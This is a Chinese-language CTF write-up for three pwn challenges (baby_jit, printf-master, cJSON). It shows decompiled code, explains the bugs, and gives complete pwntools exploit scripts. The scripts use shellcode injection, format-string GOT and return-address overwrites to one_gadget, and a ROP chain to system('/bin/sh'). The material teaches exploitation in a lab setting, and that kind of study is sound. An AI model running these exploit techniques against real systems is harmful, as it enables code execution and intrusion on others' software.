比赛的时候全靠fix得分,也是参与上了

baby_jit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
void __fastcall __noreturn main(int a1, char **a2, char **a3)
{
char s[8]; // [rsp+0h] [rbp-10h] BYREF
unsigned __int64 v4; // [rsp+8h] [rbp-8h]

v4 = __readfsqword(0x28u);
setvbuf(stdout, 0LL, 2, 0LL);
heap = malloc(8LL * (count + 1));
sandbox();
while ( 1 )
{
while ( 1 )
{
printf("1. Add\n2. Exec\n3. Exit\n>> ");
fgets(s, 8, stdin);
if ( strcmp(s, "1\n") )
break;
add();
}
if ( strcmp(s, "2\n") )
{
puts("Bye ");
exit(-1);
}
exec();
}
}

首先是一个沙盒,然后有两个功能一个Exec和一个Add函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
void *add()
{
void *result; // rax
void *s; // [rsp+0h] [rbp-10h]
void *dest; // [rsp+8h] [rbp-8h]

s = malloc(0x30uLL);
memset(s, 0, 0x30uLL);
fgets((char *)s, 0x30, stdin);
*((_QWORD *)heap + count++) = s;
dest = malloc(8LL * (count + 1));
memcpy(dest, heap, 8LL * count);
free(heap);
result = dest;
heap = dest;
return result;
} // 就是保持有一个堆块恰好能装下所有chunk_s的地址

add就是一直保持有一个堆块刚好存了所有的堆块的地址,每个heap_s都有一个0x30的内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
unsigned __int64 exec()
{
int i; // [rsp+Ch] [rbp-44h]
int offset; // [rsp+10h] [rbp-40h]
int v3; // [rsp+14h] [rbp-3Ch]
char *endptr; // [rsp+18h] [rbp-38h] BYREF
unsigned __int64 v5; // [rsp+20h] [rbp-30h]
char *v6; // [rsp+28h] [rbp-28h]
__int64 v7; // [rsp+30h] [rbp-20h]
char *s1; // [rsp+38h] [rbp-18h]
char s[8]; // [rsp+40h] [rbp-10h] BYREF
unsigned __int64 v10; // [rsp+48h] [rbp-8h]

v10 = __readfsqword(0x28u);
puts("offset?");
fgets(s, 8, stdin);
offset = (int)(atof(s) * 12.0);
v3 = 12 * count + 4;
v6 = (char *)mmap((void *)0x100000, 12 * count + 20, 7, 34, -1, 0LL);
v6[v3 - 4] = 0x48;
v6[v3 - 3] = 0x89;
v6[v3 - 2] = 0xD8;
v6[v3 - 1] = 0xC3;
for ( i = 0; i < count; ++i )
{
s1 = (char *)*((_QWORD *)heap + i);
*v6 = 0x48;
v6[1] = 0xB8;
v5 = strtoull(s1 + 4, &endptr, 10);
*(_QWORD *)(v6 + 2) = v5;
v6 += 10;
*v6 = 0x48;
v6[2] = -61;
if ( !strncmp(s1, "add", 3uLL) )
{
v6[1] = 1;
}
else if ( !strncmp(s1, "sub", 3uLL) )
{
v6[1] = 0x29;
}
else if ( !strncmp(s1, "xor", 3uLL) )
{
v6[1] = 0x31;
}
else if ( !strncmp(s1, "and", 3uLL) )
{
v6[1] = 0x21;
}
v6 += 3;
}
v7 = ((__int64 (*)(void))(offset + 0x100000))();
printf("result = %llu\n", v7);
munmap((void *)0x100000, v3);
return __readfsqword(0x28u) ^ v10;
}

首先会记录一个offset,该offset可以为小数,之后取整数部分,之后的判断add和sub那些主要是要堆块的内容为”add deadbeef”之类的会将add改为对应的机器码,之后会执行0x100000+offset上的函数

1
2
3
4
5
6
7
.text:00000000000015B0 48 31 DB                      xor     rbx, rbx
.text:00000000000015B3 8B 45 C0 mov eax, [rbp+offset]
.text:00000000000015B6 05 00 00 10 00 add eax, 100000h
.text:00000000000015BB 48 98 cdqe
.text:00000000000015BD 48 89 C2 mov rdx, rax
.text:00000000000015C0 B8 00 00 00 00 mov eax, 0
.text:00000000000015C5 FF D2 call rdx

我们可以看到该执行用call rdx来执行,那么如果我们只用简短的一行指令进行read(0,rdx,nbytes),那么我们就可以将之后的机器码覆盖为我们想要的东西,这道题感觉我之前遇到过一个类似的思路也是用read来执行机器码,主要是逆向的问题,我在比赛的时候没有搞懂add和sub那些判断的作用,一直卡在那里,但是其实这些都是没用的!!!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import *
from LibcSearcher import*
from ctypes import *

FILENAME='./baby_jit'
p= process(FILENAME)

context.arch='amd64'

def debug(script = 0):
if(script):
gdb.attach(p, script)
else:
gdb.attach(p)
pause()

def Add(context):
p.recvuntil(b'>>')
p.sendline(b'1')
p.sendline(context)
def Exec(context):
p.recvuntil(b'>>')
p.sendline(b'2')
p.recvuntil(b'offset')
p.sendline(context)

calc_sh= str(u64(b'\x00\x90\x50\x5f\x52\x5e\x0f\x05'))
''
sh='''
nop
push rax
pop rdi
push rdx
pop rsi
syscall
'''
''
Add(f'add {calc_sh}')
# debug()
Exec(b'0.3')
sleep(1)
p.sendline(b'\x90'*(0x20)+asm(shellcraft.cat('flag')))
p.interactive()

printf-master

1
2
3
4
5
6
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
myinit();
gift(a1, a2);
vuln();
}

会有一个gift,选择stack,heap,libc的低字节

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
unsigned __int64 gift()
{
int v0; // eax
unsigned __int8 *buf; // [rsp+0h] [rbp-10h]
unsigned __int64 v3; // [rsp+8h] [rbp-8h]
__int64 savedregs; // [rsp+10h] [rbp+0h] BYREF

v3 = __readfsqword(0x28u);
if ( dword_4080 == -559038737 )
{
puts("1. Get stack address");
puts("2. Get heap address");
puts("3. Get libc address");
puts("4. Get code address");
printf(">>> ");
buf = ptr;
read(0, ptr, 4uLL);
v0 = *buf;
if ( v0 == 52 )
{
printf("Your gift: %#x\n", &ptr);
}
else
{
if ( *buf > 0x34u )
goto LABEL_12;
switch ( v0 )
{
case '3':
printf("Your gift: %#x\n", &puts);
break;
case '1':
printf("Your gift: %#x\n", (&savedregs - 16));
break;
case '2':
printf("Your gift: %#x\n", buf);
break;
default:
LABEL_12:
puts("Not allowed!");
_exit(0);
}
}
}
dword_4080 = 0;
return __readfsqword(0x28u) ^ v3;
}

之后便是主要部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
void __noreturn vuln()
{
int v0; // [rsp+4h] [rbp-1Ch]
int i; // [rsp+8h] [rbp-18h]
int v2; // [rsp+Ch] [rbp-14h]
void *buf; // [rsp+10h] [rbp-10h]

puts("Now, what's your name?");
buf = malloc(0x101uLL);
read(0, buf, 0x100uLL);
if ( strchr(buf, '$') ) // 不允许出现$
{
puts("Not allowed!");
_exit(0);
}
v2 = strlen(buf);
v0 = 0;
for ( i = 0; i < v2; ++i )
{
if ( *(buf + i) == 'n' )
++v0; // n最多出现4次
}
if ( v0 > 4 )
{
puts("Not allowed!");
_exit(0);
}
printf(buf);
free(ptr);
free(buf);
ptr = 0LL;
_exit(0);
}

一个一次性的格式化字符串漏洞,发现不能出现$,因此使用%c进行占位,因此%c输出的内容的字节是固定的,因此使用%c来进行占位可以更好的进行覆盖

思路

  1. 首先先将printf的返回地址覆盖成start地址,同时泄露elfbase,libcbase等
    • 容易出现问题的地方:第一是vuln函数的退出是通过exit的,因此只能直接覆盖printf的返回地址了;第二是要覆盖为start地址,因为要恢复栈帧,不然之后的跳板会无法找到
  2. 然后将exit_got覆盖为start地址,实现无限格式化字符串漏洞
  3. 之后便是覆盖___stack_chk_fail_gotone_gadget
  4. 最后将exit_got覆盖为___stack_chk_fail即可
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
from pwn import*
import binascii
import struct

elf_path='./pwn'

libc=ELF('./libc-2.31.so',checksec=False)

elf=ELF(elf_path,checksec=False)

context.binary=elf_path

context.log_level='debug'

r =lambda num=4096 :p.recv(num)
ru =lambda content,drop=False :p.recvuntil(content,drop)
rl =lambda :p.recvline()
ra =lambda time=0.5 :p.recvall(timeout=time)
u7f =lambda :u64(ru('\x7f')[-6:].ljust(0x8,b'\x00'))
sla =lambda flag,content :p.sendlineafter(flag,content)
sa =lambda flag,content :p.sendafter(flag,content)
sl =lambda content :p.sendline(content)
s =lambda content :p.send(content)
irt =lambda :p.interactive()
tbs =lambda content :str(content).encode()
leak=lambda s,n :print("\033[31m["+s+" -> "+str(hex(n))+"]\033[0m")
fmt =lambda string :eval(f"f'''{string}'''", globals()).encode()

def debug(script = 0):
if(script):
gdb.attach(p, script)
else:
gdb.attach(p)
pause()

local=1

def run():
if(local):
return process(elf_path)
return remote('127.0.0.1',1234)
for i in range(50):
try:
p=run()
sa(b'>>> ',tbs(1))
ru(b'0x')
stack=int(ru(b'\n',drop=True),16)
leak('stack',stack)
#第一步
payload=b'%c'*10+b'%p'+b'%c'*3+b'%p'+fmt('%{stack-0x29-0x18}c')+b'%hn'+b'%c'*26+fmt('%{0xa1b0-stack-26+0x18}c')+b'%hn'
# debug()
sa(b'your name?\n',payload)
ru(b'0x')
elf_base=int(r(12),16)-0x16bd
leak("elf_base",elf_base)
ru(b'0x')
libc_base=int(r(12),16)-0x24083
# leak('code',code)
leak('libc',libc_base)
system=libc_base+libc.sym['system']
og=[0xe3afe,0xe3b01,0xe3b04]
execve=libc_base+og[1]

exit_got=elf_base+0x4020
free_got=elf_base+0x4018
# ru(b'your name?\n')
# debug()
leak("exit_got",exit_got)
# 第二步 覆盖exit_got 为 start

# payload =b'%c'*(29-2)+fmt('%{(exit_got & 0xffff)-27 }c')+b'%hn'
# payload+=b'%c'*(58-2-29)+fmt('%{0xa1b0 - 0xa020 + 27-0x2}c')+b'%hn'
target=(elf_base+0x4020)&0xffff
target2=((elf_base+0x11B0)&0xffff)+(0x10000-target)
print(hex(target),hex(target2))
payload=f'%p'*(29-2)+f'%{target-0x142}c%hn'
payload+='%p'*(58-29-2)+f'%{target2-0x129}c%hn'
# debug()
sa(b'your name?\n',payload)

p.recvuntil(b'what',timeout=2)

system_add=libc_base+libc.sym['system']

p0='$29'#17
p1='$64'#3a
stack_chk_fail_got=elf_base+0x4030
target=(stack_chk_fail_got)&0xffff
target2=(execve)&0xffff
print("stack_chk_fail_got_1",hex(target2))
if(target2<target):target2=target2+(0x10000-target-361)
else: target2=target2-target-361

print("stack_chk_fail_got_1",hex(target),hex(target2))
payload=f'%p'*(29-2)+f'%{target-0x155}c%hn'
payload+='%p'*(64-29-2)+f'%{target2}c%hn'
p.sendline(payload)
debug()

p.recvuntil(b'what',timeout=2)
p0='$29'#17
p1='$64'#3a
target=(stack_chk_fail_got+2)&0xffff
target2=((execve>>(8*2)))&0xffff
print("stack_chk_fail_got_2",hex(target2))

if(target2<target):target2=target2+(0x10000-target-361-0x19)
else: target2=target2-target-361-0x19
print("stack_chk_fail_got_2",hex(target),hex(target2))
payload=f'%p'*(29-2)+f'%{target-0x155+1}c%hn'
payload+='%p'*(64-29-2)+f'%{target2}c%hn'
p.sendline(payload)

p.recvuntil(b'what',timeout=2)

p0='$29'#17
p1='$64'#3a
target=(stack_chk_fail_got+4)&0xffff
target2=((execve>>(8*4)))&0xffff
print("stack_chk_fail_got_3",hex(target2))

if(target2<target):target2=target2+(0x10000-target-361-0x19)
else: target2=target2-target-361-0x19
print("stack_chk_fail_got_3",hex(target),hex(target2))
payload=f'%p'*(29-2)+f'%{target-0x155}c%hn'
payload+='%p'*(64-29-2)+f'%{target2}c%hn'
p.sendline(payload)


p.recvuntil(b'what',timeout=2)

p0='$29'#17
p1='$64'#3a
target=(elf_base+0x4020)&0xffff
target2=(elf_base+0x1130)&0xffff
print("exit_got",hex(target2))

if(target2<(target+361+0x19)):target2=target2+(0x10000-target-361-0x19)
else: target2=target2-target-361-0x19
print("exit_got",hex(target),hex(target2))
payload=f'%p'*(29-2)+f'%{target-0x155+1}c%hn'
payload+='%p'*(64-29-2)+f'%{target2}c%hn'
p.sendline(payload)
# debug()
irt()
except:
p.close()


# irt()

羡慕比赛写的出来的师傅们,简直太强了!!

cJSON

一个很恶心的题目,大部分的程序是没有用处的/(ㄒoㄒ)/~~,比赛的时候我居然是从头逆到尾,也是长记性了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
__int64 v4; // rax
int nbytes; // [rsp+Ch] [rbp-64h] BYREF
int nbytes_4; // [rsp+10h] [rbp-60h] BYREF
_DWORD v7[3]; // [rsp+14h] [rbp-5Ch] BYREF
char *v8; // [rsp+20h] [rbp-50h]
void *buf; // [rsp+28h] [rbp-48h]
__int64 v10; // [rsp+30h] [rbp-40h]
void *v11; // [rsp+38h] [rbp-38h]
char s[8]; // [rsp+40h] [rbp-30h] BYREF
__int64 v13; // [rsp+48h] [rbp-28h]
__int64 v14; // [rsp+50h] [rbp-20h]
__int64 v15; // [rsp+58h] [rbp-18h]
unsigned __int64 v16; // [rsp+68h] [rbp-8h]

v16 = __readfsqword(0x28u);
*(_QWORD *)s = 0LL;
v13 = 0LL;
v14 = 0LL;
v15 = 0LL;
*(_QWORD *)&v7[1] = 0LL;
v8 = 0LL;
myinit();
puts("Init Data size: ");
__isoc99_scanf("%d", &nbytes);
getchar();
if ( nbytes <= 0 )
{
puts("Err");
return 0LL;
}
puts("Your Json:");
buf = malloc(nbytes + 16);
read(0, buf, (unsigned int)nbytes);
v10 = checkjson((__int64)buf);
if ( !v10 )
{
puts("Parse fail");
return 0xFFFFFFFFLL;
}
while ( 1 )
{
while ( 1 )
{
menu();
__isoc99_scanf("%d", &nbytes_4);
getchar();
puts("Data name:");
fgets(s, 0x18, stdin);
s[strcspn(s, "\n")] = 0;
if ( nbytes_4 == 4 )
break;
if ( nbytes_4 > 4 )
goto LABEL_25;
switch ( nbytes_4 )
{
case 3:
puts("New data len:");
__isoc99_scanf("%d", v7);
getchar();
if ( v7[0] > 0 )
{
v11 = malloc(v7[0] + 16);
puts("New data:");
read(0, v11, v7[0]);
v4 = sub_5603(v11);
sub_53BA(v10, (__int64)s, v4);
puts("Edit ok");
}
break;
case 1:
v8 = (char *)sub_317E(v10);
puts(v8);
break;
case 2:
*(_QWORD *)&v7[1] = sub_4662(v10, (__int64)s);
if ( !*(_QWORD *)&v7[1] )
{
puts("target null");
return 0xFFFFFFFFLL;
}
if ( *(_DWORD *)(*(_QWORD *)&v7[1] + 24LL) == 16 )
{
printf("[%s]: %s\n", s, *(const char **)(*(_QWORD *)&v7[1] + 32LL));
}
else if ( *(_DWORD *)(*(_QWORD *)&v7[1] + 24LL) == 8 )
{
printf("[%s]: %d\n", s, *(unsigned int *)(*(_QWORD *)&v7[1] + 40LL));
}
else
{
printf("Err Type");
}
puts("Read ok");
break;
default:
LABEL_25:
puts("err");
break;
}
}
if ( !v10 )
break;
del(v10, s);
puts("Delete ok");
}
puts("parse fail.");
return 0xFFFFFFFFLL;
}

首先是输入一个size,json然后也是一个功能性的程序,在delete函数中存在一个栈上的格式化字符串漏洞

1
2
3
4
5
6
7
8
9
10
__int64 __fastcall del(__int64 a1, const char *a2)
{
__int64 v3; // [rsp+18h] [rbp-8h]

v3 = sub_4662(a1, a2);
putchar('[');
printf(a2);
puts("] been deleted");
return sub_4E2F(a1, v3);
}

那么思路就是泄露->覆盖,也是比较清晰的

解法一:

纯格式化字符串漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
from pwn import *
from ctypes import *
import struct
context(os='linux' , arch='amd64' , log_level='debug')

libc=ELF('./libc.so.6')
path='./pwn'
elf=ELF(path)

amd64shell=b"RRYh00AAX1A0hA004X1A4hA00AX1A8QX44Pj0X40PZPjAX4znoNDnRYZnCXAA"

r =lambda num=4096 :p.recv(num)
ru =lambda content,drop=False :p.recvuntil(content,drop)
rl =lambda :p.recvline()
sla =lambda flag,content :p.sendlineafter(flag,content)
sa =lambda flag,content :p.sendafter(flag,content)
sl =lambda content :p.sendline(content)
s =lambda content :p.send(content)
irt =lambda :p.interactive()
tbs =lambda content :str(content).encode()
leak=lambda s,n :print("\033[31m["+s+" -> "+str(hex(n))+"]\033[0m")
fmt =lambda string :eval(f"f'''{string}'''", globals()).encode()


local=1

def run():
if local:
return process(path)
return remote('node4.anna.nssctf.cn',28282)

def debug(duan=None):
if local:
if duan:
gdb.attach(p, execute=duan)
else:
gdb.attach(p)
pause()

p=run()

def show(name):
sla(b'>\n',b'4')
sla(b'Data name:\n',name)

og=[0xe3afe,0xe3b01,0xe3b04]
sla(b'Init Data size: \n',b'20')
sla(b'Your Json:\n',b'21')
show(b'%27$p%10$p')
ru(b'0x')
libc_base=int(r(12),16)-libc.sym['__libc_start_main']-243
leak('libc_base',libc_base)
ru(b'0x')
stack_ret=int(r(12),16)+0x8
leak('stack_ret',stack_ret)

one_gadget=libc_base+og[1]
leak('one_gadget',one_gadget)

payload=(fmt('%{one_gadget & 0xffff}c')+b'%22$hn').ljust(0x10,b'\x00')
payload+=p64(stack_ret)
show(payload)

payload=(fmt('%{(one_gadget>>16) & 0xffff}c')+b'%22$hn').ljust(0x10,b'\x00')
payload+=p64(stack_ret+2)
# debug()
show(payload)

sla(b'>\n',b'2')
sla(b'name:\n',b'a')
irt()

解法二:

格式化字符串漏洞+栈溢出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
void *__fastcall sub_15B6(const char *a1, __int64 (__fastcall **a2)(size_t))
{
size_t n; // [rsp+10h] [rbp-9A0h]
void *v4; // [rsp+18h] [rbp-998h]
char dest[632]; // [rsp+730h] [rbp-280h] BYREF
unsigned __int64 v6; // [rsp+9A8h] [rbp-8h]

v6 = __readfsqword(0x28u);
if ( !a1 )
return 0LL;
n = strlen(a1) + 1;
v4 = (void *)(*a2)(n);
if ( !v4 )
return 0LL;
if ( n <= 0xFFF )
memcpy(dest, a1, 0x1000uLL);
memcpy(v4, a1, n);
return v4;
}

在这个函数中如果n<0xFFF同时dest只有632的大小,那么就有个栈溢出

取自ixout学长的exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
p=run()

sla(b'Init Data size: \n',tbs(120))

sla(b'Your Json:\n',b'{"a":"b"}')

delete(b'%p%25$p')

libc.address=int(ru('23')[-12:],16)-0x1ED723
leak('libc',libc.address)
canary=int(ru(']',drop=True)[-16:],16)
leak('canary',canary)


pop_rdi_ret=libc.address+0x23b6a
ret=libc.address+0x23b6b
binsh=next(libc.search(b'/bin/sh'))
system=libc.sym['system']
#dbg('b *$rebase(0x15B6)')
edit(b'ixout',b'a'*632+p64(canary)+p64(0)+p64(pop_rdi_ret)+p64(binsh)+p64(ret)+p64(system))

irt()

参考

https://ixout.github.io/posts/22716/

https://www.ctfiot.com/189832.html